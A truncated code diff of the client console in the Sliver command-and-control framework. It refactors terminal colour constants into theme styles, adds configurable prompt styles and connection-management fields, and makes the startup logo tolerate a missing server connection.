// Mirror the previous behavior from cli/console.go, but only when not canceled.
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
fmt.Println("\nLost connection to server. Exiting now.")
|
||||||
|
con.FlushOutput()
|
||||||
|
//nolint:forbidigo // Explicitly exits to match legacy behavior.
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !conn.WaitForStateChange(ctx, state) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+204
-152
@@ -35,6 +35,7 @@ import (
|
|||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
"github.com/bishopfox/sliver/client/core"
|
"github.com/bishopfox/sliver/client/core"
|
||||||
"github.com/bishopfox/sliver/client/spin"
|
"github.com/bishopfox/sliver/client/spin"
|
||||||
|
"github.com/bishopfox/sliver/client/theme"
|
||||||
"github.com/bishopfox/sliver/client/version"
|
"github.com/bishopfox/sliver/client/version"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
@@ -46,6 +47,7 @@ import (
|
|||||||
"github.com/reeflective/readline"
|
"github.com/reeflective/readline"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"golang.org/x/exp/slog"
|
"golang.org/x/exp/slog"
|
||||||
|
"google.golang.org/grpc"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -54,32 +56,10 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// ANSI Colors.
|
// Terminal control sequences (not "styling").
|
||||||
Normal = "\033[0m"
|
Clearln = "\r\x1b[2K"
|
||||||
Black = "\033[30m"
|
UpN = "\033[%dA"
|
||||||
Red = "\033[31m"
|
DownN = "\033[%dB"
|
||||||
Green = "\033[32m"
|
|
||||||
Orange = "\033[33m"
|
|
||||||
Blue = "\033[34m"
|
|
||||||
Purple = "\033[35m"
|
|
||||||
Cyan = "\033[36m"
|
|
||||||
Gray = "\033[37m"
|
|
||||||
Bold = "\033[1m"
|
|
||||||
Clearln = "\r\x1b[2K"
|
|
||||||
UpN = "\033[%dA"
|
|
||||||
DownN = "\033[%dB"
|
|
||||||
Underline = "\033[4m"
|
|
||||||
|
|
||||||
// Info - Display colorful information.
|
|
||||||
Info = Bold + Cyan + "[*] " + Normal
|
|
||||||
// Warn - Warn a user.
|
|
||||||
Warn = Bold + Red + "[!] " + Normal
|
|
||||||
// Debug - Display debug information.
|
|
||||||
Debug = Bold + Purple + "[-] " + Normal
|
|
||||||
// Woot - Display success.
|
|
||||||
Woot = Bold + Green + "[$] " + Normal
|
|
||||||
// Success - Diplay success.
|
|
||||||
Success = Bold + Green + "[+] " + Normal
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// Observer - A function to call when the sessions changes.
|
// Observer - A function to call when the sessions changes.
|
||||||
@@ -106,6 +86,21 @@ type SliverClient struct {
|
|||||||
stdoutPipeWriter *os.File
|
stdoutPipeWriter *os.File
|
||||||
stdoutPipeDone chan struct{}
|
stdoutPipeDone chan struct{}
|
||||||
stdoutPipeOnce sync.Once
|
stdoutPipeOnce sync.Once
|
||||||
|
|
||||||
|
connMu sync.Mutex
|
||||||
|
grpcConn *grpc.ClientConn
|
||||||
|
connDetails *ConnectionDetails
|
||||||
|
connCancel context.CancelFunc
|
||||||
|
connWg *sync.WaitGroup
|
||||||
|
connectionHooksApplied bool
|
||||||
|
logCommandHookApplied bool
|
||||||
|
|
||||||
|
// These writers are always safe to use (never error); the underlying stream
|
||||||
|
// can be swapped on server switch to avoid breaking io.MultiWriter/io.Copy.
|
||||||
|
jsonRemoteWriter *optionalRemoteWriter
|
||||||
|
asciicastRemoteWriter *optionalRemoteWriter
|
||||||
|
jsonRemoteStream rpcpb.SliverRPC_ClientLogClient
|
||||||
|
asciicastRemoteStream rpcpb.SliverRPC_ClientLogClient
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewConsole creates the sliver client (and console), creating menus and prompts.
|
// NewConsole creates the sliver client (and console), creating menus and prompts.
|
||||||
@@ -113,6 +108,8 @@ type SliverClient struct {
|
|||||||
// thus has not started monitoring any server events, or started the application.
|
// thus has not started monitoring any server events, or started the application.
|
||||||
func NewConsole(isServer bool) *SliverClient {
|
func NewConsole(isServer bool) *SliverClient {
|
||||||
assets.Setup(false, false)
|
assets.Setup(false, false)
|
||||||
|
_ = theme.LoadAndSetCurrentTheme()
|
||||||
|
ApplyTheme(theme.Current())
|
||||||
settings, _ := assets.LoadSettings()
|
settings, _ := assets.LoadSettings()
|
||||||
|
|
||||||
con := &SliverClient{
|
con := &SliverClient{
|
||||||
@@ -126,7 +123,10 @@ func NewConsole(isServer bool) *SliverClient {
|
|||||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||||
IsServer: isServer,
|
IsServer: isServer,
|
||||||
Settings: settings,
|
Settings: settings,
|
||||||
|
connWg: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
// Ensure logging never panics even if console logs are disabled.
|
||||||
|
con.jsonHandler = slog.NewJSONHandler(io.Discard, &slog.HandlerOptions{Level: slog.LevelDebug})
|
||||||
|
|
||||||
// The active target needs access to the console
|
// The active target needs access to the console
|
||||||
// to automatically switch between command menus.
|
// to automatically switch between command menus.
|
||||||
@@ -165,8 +165,7 @@ func NewConsole(isServer bool) *SliverClient {
|
|||||||
// Init requires a working RPC connection to the sliver server, and 2 different sets of commands.
|
// Init requires a working RPC connection to the sliver server, and 2 different sets of commands.
|
||||||
// If run is true, the console application is started, making this call blocking. Otherwise, commands and
|
// If run is true, the console application is started, making this call blocking. Otherwise, commands and
|
||||||
// RPC connection are bound to the console (making the console ready to run), but the console does not start.
|
// RPC connection are bound to the console (making the console ready to run), but the console does not start.
|
||||||
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
|
func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, grpcConn *grpc.ClientConn, details *ConnectionDetails, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
|
||||||
con.Rpc = rpc
|
|
||||||
con.IsCLI = !run
|
con.IsCLI = !run
|
||||||
con.serverCmds = serverCmds
|
con.serverCmds = serverCmds
|
||||||
con.sliverCmds = sliverCmds
|
con.sliverCmds = sliverCmds
|
||||||
@@ -188,39 +187,29 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
|
|||||||
sliver := con.App.Menu(consts.ImplantMenu)
|
sliver := con.App.Menu(consts.ImplantMenu)
|
||||||
sliver.SetCommands(sliverCmds)
|
sliver.SetCommands(sliverCmds)
|
||||||
|
|
||||||
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.allowServerRootCommands)
|
con.applyConnectionHooksOnce()
|
||||||
if shell := con.App.Shell(); shell != nil && shell.Completer != nil {
|
|
||||||
baseCompleter := shell.Completer
|
|
||||||
shell.Completer = func(line []rune, cursor int) readline.Completions {
|
|
||||||
con.prepareCompletion(line, cursor)
|
|
||||||
return baseCompleter(line, cursor)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Events
|
|
||||||
go con.startEventLoop()
|
|
||||||
go core.TunnelLoop(rpc)
|
|
||||||
|
|
||||||
// console logger
|
// console logger
|
||||||
if con.Settings.ConsoleLogs {
|
if con.Settings.ConsoleLogs {
|
||||||
// Classic logs
|
// Classic logs
|
||||||
consoleLog := getConsoleLogFile()
|
consoleLog := getConsoleLogFile()
|
||||||
consoleLogStream, err := con.ClientLogStream("json")
|
con.ensureJSONRemoteWriter()
|
||||||
if err != nil {
|
con.setupLogger(consoleLog, con.jsonRemoteWriter)
|
||||||
log.Printf("Could not get client json log stream: %s", err)
|
|
||||||
}
|
|
||||||
con.setupLogger(consoleLog, consoleLogStream)
|
|
||||||
defer consoleLog.Close()
|
defer consoleLog.Close()
|
||||||
|
|
||||||
// Ascii cast sessions (complete terminal interface).
|
// Ascii cast sessions (complete terminal interface) are only useful
|
||||||
asciicastLog := getConsoleAsciicastFile()
|
// for the interactive console. In CLI mode they would clobber stdout.
|
||||||
defer asciicastLog.Close()
|
if !con.IsCLI {
|
||||||
|
asciicastLog := getConsoleAsciicastFile()
|
||||||
|
defer asciicastLog.Close()
|
||||||
|
|
||||||
asciicastStream, err := con.ClientLogStream("asciicast")
|
con.ensureAsciicastRemoteWriter()
|
||||||
if err != nil {
|
con.setupAsciicastRecord(asciicastLog, con.asciicastRemoteWriter)
|
||||||
log.Printf("Could not get client asciicast log stream: %s", err)
|
|
||||||
}
|
}
|
||||||
con.setupAsciicastRecord(asciicastLog, asciicastStream)
|
}
|
||||||
|
|
||||||
|
if err := con.SetConnection(rpc, grpcConn, details); err != nil {
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if rcScript != "" {
|
if rcScript != "" {
|
||||||
@@ -319,10 +308,29 @@ func (con *SliverClient) runRCLine(serverCmds, sliverCmds console.Commands, line
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (con *SliverClient) startEventLoop() {
|
func (con *SliverClient) applyConnectionHooksOnce() {
|
||||||
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
if con.connectionHooksApplied {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
con.connectionHooksApplied = true
|
||||||
|
|
||||||
|
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, con.allowServerRootCommands)
|
||||||
|
if shell := con.App.Shell(); shell != nil && shell.Completer != nil {
|
||||||
|
baseCompleter := shell.Completer
|
||||||
|
shell.Completer = func(line []rune, cursor int) readline.Completions {
|
||||||
|
con.prepareCompletion(line, cursor)
|
||||||
|
return baseCompleter(line, cursor)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) startEventLoop(ctx context.Context) {
|
||||||
|
eventStream, err := con.Rpc.Events(ctx, &commonpb.Empty{})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf(Warn+"%s\n", err)
|
fmt.Printf("%s%s\n", Warn, err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
for {
|
for {
|
||||||
@@ -337,7 +345,7 @@ func (con *SliverClient) startEventLoop() {
|
|||||||
switch event.EventType {
|
switch event.EventType {
|
||||||
|
|
||||||
case consts.CanaryEvent:
|
case consts.CanaryEvent:
|
||||||
con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name)
|
con.PrintEventErrorf("%s %s has been burned (DNS Canary)", StyleBold.Render("WARNING:"), event.Session.Name)
|
||||||
sessions := con.GetSessionsByName(event.Session.Name)
|
sessions := con.GetSessionsByName(event.Session.Name)
|
||||||
for _, session := range sessions {
|
for _, session := range sessions {
|
||||||
shortID := strings.Split(session.ID, "-")[0]
|
shortID := strings.Split(session.ID, "-")[0]
|
||||||
@@ -346,7 +354,7 @@ func (con *SliverClient) startEventLoop() {
|
|||||||
|
|
||||||
case consts.WatchtowerEvent:
|
case consts.WatchtowerEvent:
|
||||||
msg := string(event.Data)
|
msg := string(event.Data)
|
||||||
con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg)
|
con.PrintEventErrorf("%s %s has been burned (seen on %s)", StyleBold.Render("WARNING:"), event.Session.Name, msg)
|
||||||
sessions := con.GetSessionsByName(event.Session.Name)
|
sessions := con.GetSessionsByName(event.Session.Name)
|
||||||
for _, session := range sessions {
|
for _, session := range sessions {
|
||||||
shortID := strings.Split(session.ID, "-")[0]
|
shortID := strings.Split(session.ID, "-")[0]
|
||||||
@@ -462,7 +470,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
|
|||||||
|
|
||||||
for _, reaction := range reactions {
|
for _, reaction := range reactions {
|
||||||
for _, line := range reaction.Commands {
|
for _, line := range reaction.Commands {
|
||||||
con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line)
|
con.PrintInfof("%s '%s'", StyleBold.Render("Execute reaction:"), line)
|
||||||
err := con.App.ActiveMenu().RunCommandLine(context.Background(), line)
|
err := con.App.ActiveMenu().RunCommandLine(context.Background(), line)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("Reaction command error: %s\n", err)
|
con.PrintErrorf("Reaction command error: %s\n", err)
|
||||||
@@ -514,41 +522,107 @@ func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCal
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (con *SliverClient) GetPrompt() string {
|
func (con *SliverClient) GetPrompt() string {
|
||||||
prompt := Underline + "sliver" + Normal
|
promptStyle := assets.PromptStyleHost
|
||||||
if con.IsServer {
|
if con.Settings != nil {
|
||||||
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
|
promptStyle = assets.NormalizePromptStyle(con.Settings.PromptStyle)
|
||||||
}
|
}
|
||||||
if con.ActiveTarget.GetSession() != nil {
|
|
||||||
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
|
if promptStyle == assets.PromptStyleCustom {
|
||||||
} else if con.ActiveTarget.GetBeacon() != nil {
|
src := assets.DefaultPromptTemplate
|
||||||
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
|
if con.Settings != nil && strings.TrimSpace(con.Settings.PromptTemplate) != "" {
|
||||||
|
src = con.Settings.PromptTemplate
|
||||||
|
}
|
||||||
|
out, err := renderPromptTemplate(con, src)
|
||||||
|
if err != nil {
|
||||||
|
return Clearln + " > "
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(out) == "" {
|
||||||
|
return Clearln + " > "
|
||||||
|
}
|
||||||
|
return Clearln + out
|
||||||
|
}
|
||||||
|
|
||||||
|
prompt := StyleUnderline.Render("sliver")
|
||||||
|
if con.IsServer {
|
||||||
|
if promptStyle != assets.PromptStyleBasic {
|
||||||
|
prompt = StyleBold.Render("[server]") + " " + prompt
|
||||||
|
}
|
||||||
|
} else if promptStyle != assets.PromptStyleBasic {
|
||||||
|
// sliver-client only: optionally include operator/host context.
|
||||||
|
if details, _, ok := con.CurrentConnection(); ok && details != nil && details.Config != nil {
|
||||||
|
operator := strings.TrimSpace(details.Config.Operator)
|
||||||
|
host := strings.TrimSpace(details.Config.LHost)
|
||||||
|
|
||||||
|
prefix := ""
|
||||||
|
switch promptStyle {
|
||||||
|
case assets.PromptStyleOperatorHost:
|
||||||
|
if operator != "" && host != "" {
|
||||||
|
prefix = operator + "@" + host
|
||||||
|
} else if operator != "" {
|
||||||
|
prefix = operator
|
||||||
|
} else if host != "" {
|
||||||
|
prefix = host
|
||||||
|
}
|
||||||
|
case assets.PromptStyleHost:
|
||||||
|
if host != "" {
|
||||||
|
prefix = host
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if prefix != "" {
|
||||||
|
prompt = StyleBoldPrimary.Render("["+prefix+"]") + " " + prompt
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if session := con.ActiveTarget.GetSession(); session != nil {
|
||||||
|
prompt += StyleBoldRed.Render(" (" + session.Name + ")")
|
||||||
|
} else if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
|
||||||
|
prompt += StyleBoldBlue.Render(" (" + beacon.Name + ")")
|
||||||
}
|
}
|
||||||
prompt += " > "
|
prompt += " > "
|
||||||
return Clearln + prompt
|
return Clearln + prompt
|
||||||
}
|
}
|
||||||
|
|
||||||
func (con *SliverClient) PrintLogo() {
|
func (con *SliverClient) PrintLogo() {
|
||||||
serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{})
|
// Always show a logo even if the server connection is transiently unavailable.
|
||||||
|
logo := asciiLogos[util.Intn(len(asciiLogos))]
|
||||||
|
fmt.Println(strings.ReplaceAll(logo.Render(), "\n", "\r\n"))
|
||||||
|
fmt.Println("All hackers gain " + abilities[util.Intn(len(abilities))] + "\r")
|
||||||
|
|
||||||
|
if con.Rpc == nil {
|
||||||
|
fmt.Println(Warn + "Not connected to a server\r")
|
||||||
|
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
|
||||||
|
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
|
||||||
|
fmt.Println("")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
serverVer, err := con.Rpc.GetVersion(ctx, &commonpb.Empty{})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err.Error())
|
fmt.Printf("%sCould not query server version: %s\r\n", Warn, err)
|
||||||
|
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
|
||||||
|
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
|
||||||
|
fmt.Println("")
|
||||||
|
con.CheckLastUpdate()
|
||||||
|
return
|
||||||
}
|
}
|
||||||
dirty := ""
|
dirty := ""
|
||||||
if serverVer.Dirty {
|
if serverVer.Dirty {
|
||||||
dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal)
|
dirty = " - " + StyleBold.Render("Dirty")
|
||||||
}
|
}
|
||||||
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
|
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
|
||||||
|
fmt.Printf("%sServer v%s - %s%s\r\n", Info, serverSemVer, serverVer.Commit, dirty)
|
||||||
logo := asciiLogos[util.Intn(len(asciiLogos))]
|
|
||||||
fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n"))
|
|
||||||
fmt.Println("All hackers gain " + abilities[util.Intn(len(abilities))] + "\r")
|
|
||||||
fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty)
|
|
||||||
if version.GitCommit != serverVer.Commit {
|
if version.GitCommit != serverVer.Commit {
|
||||||
fmt.Printf(Info+"Client %s\r\n", version.FullVersion())
|
fmt.Printf("%sClient %s\r\n", Info, version.FullVersion())
|
||||||
}
|
}
|
||||||
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
|
fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r")
|
||||||
if serverVer.Major != int32(version.SemanticVersion()[0]) {
|
if serverVer.Major != int32(version.SemanticVersion()[0]) {
|
||||||
fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n")
|
fmt.Print(Warn + "Warning: Client and server may be running incompatible versions.\r\n")
|
||||||
}
|
}
|
||||||
|
fmt.Println("")
|
||||||
con.CheckLastUpdate()
|
con.CheckLastUpdate()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -564,7 +638,7 @@ func (con *SliverClient) CheckLastUpdate() {
|
|||||||
day := 24 * time.Hour
|
day := 24 * time.Hour
|
||||||
if compiledAt.Add(30 * day).Before(now) {
|
if compiledAt.Add(30 * day).Before(now) {
|
||||||
if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) {
|
if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) {
|
||||||
con.Printf(Info + "Check for updates with the 'update' command\n\n")
|
con.Printf("%sCheck for updates with the 'update' command\n\n", Info)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -604,7 +678,7 @@ func (con *SliverClient) GetSession(arg string) *clientpb.Session {
|
|||||||
func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session {
|
func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session {
|
||||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf(Warn+"%s\n", err)
|
fmt.Printf("%s%s\n", Warn, err)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
matched := []*clientpb.Session{}
|
matched := []*clientpb.Session{}
|
||||||
@@ -745,7 +819,7 @@ func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bo
|
|||||||
interval = time.Since(t).Round(time.Second).String()
|
interval = time.Since(t).Round(time.Second).String()
|
||||||
}
|
}
|
||||||
if color {
|
if color {
|
||||||
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
|
interval = StyleBoldRed.Render(interval)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if includeDate {
|
if includeDate {
|
||||||
@@ -754,7 +828,7 @@ func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bo
|
|||||||
interval = time.Until(t).Round(time.Second).String()
|
interval = time.Until(t).Round(time.Second).String()
|
||||||
}
|
}
|
||||||
if color {
|
if color {
|
||||||
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
|
interval = StyleBoldGreen.Render(interval)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return interval
|
return interval
|
||||||
@@ -789,7 +863,7 @@ type ActiveTarget struct {
|
|||||||
// GetSessionInteractive - Get the active target(s).
|
// GetSessionInteractive - Get the active target(s).
|
||||||
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
|
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
|
||||||
if s.session == nil && s.beacon == nil {
|
if s.session == nil && s.beacon == nil {
|
||||||
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
|
fmt.Print(Warn + "Please select a session or beacon via `use`\n")
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
return s.session, s.beacon
|
return s.session, s.beacon
|
||||||
@@ -803,7 +877,7 @@ func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) {
|
|||||||
// GetSessionInteractive - GetSessionInteractive the active session.
|
// GetSessionInteractive - GetSessionInteractive the active session.
|
||||||
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
|
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
|
||||||
if s.session == nil {
|
if s.session == nil {
|
||||||
fmt.Printf(Warn + "Please select a session via `use`\n")
|
fmt.Print(Warn + "Please select a session via `use`\n")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return s.session
|
return s.session
|
||||||
@@ -817,7 +891,7 @@ func (s *ActiveTarget) GetSession() *clientpb.Session {
|
|||||||
// GetBeaconInteractive - Get beacon interactive the active session.
|
// GetBeaconInteractive - Get beacon interactive the active session.
|
||||||
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
|
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
|
||||||
if s.beacon == nil {
|
if s.beacon == nil {
|
||||||
fmt.Printf(Warn + "Please select a beacon via `use`\n")
|
fmt.Print(Warn + "Please select a beacon via `use`\n")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return s.beacon
|
return s.beacon
|
||||||
@@ -1037,82 +1111,60 @@ var abilities = []string{
|
|||||||
"jump-start",
|
"jump-start",
|
||||||
}
|
}
|
||||||
|
|
||||||
var asciiLogos = []string{
|
type asciiLogoStyle int
|
||||||
Red + `
|
|
||||||
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
|
|
||||||
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
|
|
||||||
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
|
|
||||||
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
|
|
||||||
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
|
|
||||||
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
|
|
||||||
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
|
|
||||||
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
|
|
||||||
░ ░ ░ ░ ░ ░ ░ ░
|
|
||||||
` + Normal,
|
|
||||||
|
|
||||||
Green + `
|
const (
|
||||||
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
|
logoStyleRed asciiLogoStyle = iota
|
||||||
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
|
logoStyleGreen
|
||||||
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
|
logoStyleBoldGray
|
||||||
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
|
)
|
||||||
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
|
|
||||||
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
|
|
||||||
` + Normal,
|
|
||||||
|
|
||||||
Bold + Gray + `
|
type asciiLogo struct {
|
||||||
|
style asciiLogoStyle
|
||||||
|
art string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l asciiLogo) Render() string {
|
||||||
|
switch l.style {
|
||||||
|
case logoStyleRed:
|
||||||
|
return StyleRed.Render(l.art)
|
||||||
|
case logoStyleGreen:
|
||||||
|
return StyleGreen.Render(l.art)
|
||||||
|
case logoStyleBoldGray:
|
||||||
|
return StyleBoldGray.Render(l.art)
|
||||||
|
default:
|
||||||
|
return l.art
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var asciiLogos = []asciiLogo{
|
||||||
|
{style: logoStyleRed, art: `
|
||||||
|
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
|
||||||
|
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
|
||||||
|
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
|
||||||
|
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
|
||||||
|
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
|
||||||
|
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||||
|
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
|
||||||
|
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
|
||||||
|
░ ░ ░ ░ ░ ░ ░ ░
|
||||||
|
`},
|
||||||
|
|
||||||
|
{style: logoStyleGreen, art: `
|
||||||
|
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
|
||||||
|
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
|
||||||
|
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
|
||||||
|
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
|
||||||
|
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
|
||||||
|
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
|
||||||
|
`},
|
||||||
|
|
||||||
|
{style: logoStyleBoldGray, art: `
|
||||||
.------..------..------..------..------..------.
|
.------..------..------..------..------..------.
|
||||||
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
|
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
|
||||||
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
|
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
|
||||||
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
||||||
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
||||||
` + "`------'`------'`------'`------'`------'`------'" + `
|
` + "`------'`------'`------'`------'`------'`------'" + `
|
||||||
` + Normal,
|
`},
|
||||||
|
|
||||||
Purple + `
|
|
||||||
****@@ @@****
|
|
||||||
@@@@@@***@ @***@@@@@@
|
|
||||||
@%%@@@%%#***@ @***#%%@@@%%@
|
|
||||||
%%%%%##%%%%****@ @****%%%%##%%%%%
|
|
||||||
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
|
|
||||||
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
|
|
||||||
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
|
|
||||||
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
|
|
||||||
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
|
|
||||||
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
|
|
||||||
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
|
|
||||||
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
|
|
||||||
